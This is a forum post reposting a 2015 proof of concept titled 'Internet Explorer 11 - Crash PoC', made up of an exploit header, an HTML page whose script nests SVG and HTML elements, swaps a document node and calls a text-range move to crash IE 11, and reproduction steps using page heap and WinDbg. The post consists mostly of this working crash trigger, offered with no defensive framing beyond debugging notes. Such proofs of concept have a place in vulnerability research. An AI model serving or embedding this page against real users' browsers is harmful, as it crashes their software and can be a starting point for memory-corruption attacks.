Jump to content
Aerosol

Internet Explorer 11 - Crash PoC

Recommended Posts

Posted

# Exploit Title: Internet Explorer 11 - Crash PoC
# Google Dork: N/A
# Date: 19th May, 2015
# Exploit Author: garage4hackers
# Vendor Homepage: http://garage4hackers.com/showthread.php?t=6246
# Software Link: N/A
# Version: Tested on IE 11
# Tested on: Windows 7
# CVE : N/A

<!doctype html>
<html>
<HEAD><title>case522207.html</title>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
*:nth-child(5)::before {
content: 'moof';
}
*:nth-child(5)::after {
content:'>>';
}
</style>
</HEAD><body>
<script>
elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')
elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem3 = document.createElement('dd')
elem4 = document.createElement('map')
elem5 = document.createElement('i')
elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

document.body.appendChild(elem0)
elem0.appendChild(elem1)
elem1.appendChild(elem2)
elem1.appendChild(elem3)
elem1.appendChild(elem4)
elem1.appendChild(elem5)
elem1.appendChild(elem6)

rangeTxt = document.body.createTextRange()
randOldNode = document.documentElement.firstChild
randOldNode.parentNode.replaceChild(elem2, randOldNode)
rangeTxt.moveEnd('sentence', '-20')

</script>
</body></html>

How do I reproduce it?

- It has been discovered, tested & reduced on Win7 32-bit Ultimate and runs successfully anytime.

a) Enable Page Heap # gflags.exe /p /enable iexplore.exe /full
Execute runMe.html in WinDbg
c) Tested on Win7 32-bit, Win8.1 32-bit, Win8.1 64-bit (not working on Win8, IE 10)

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...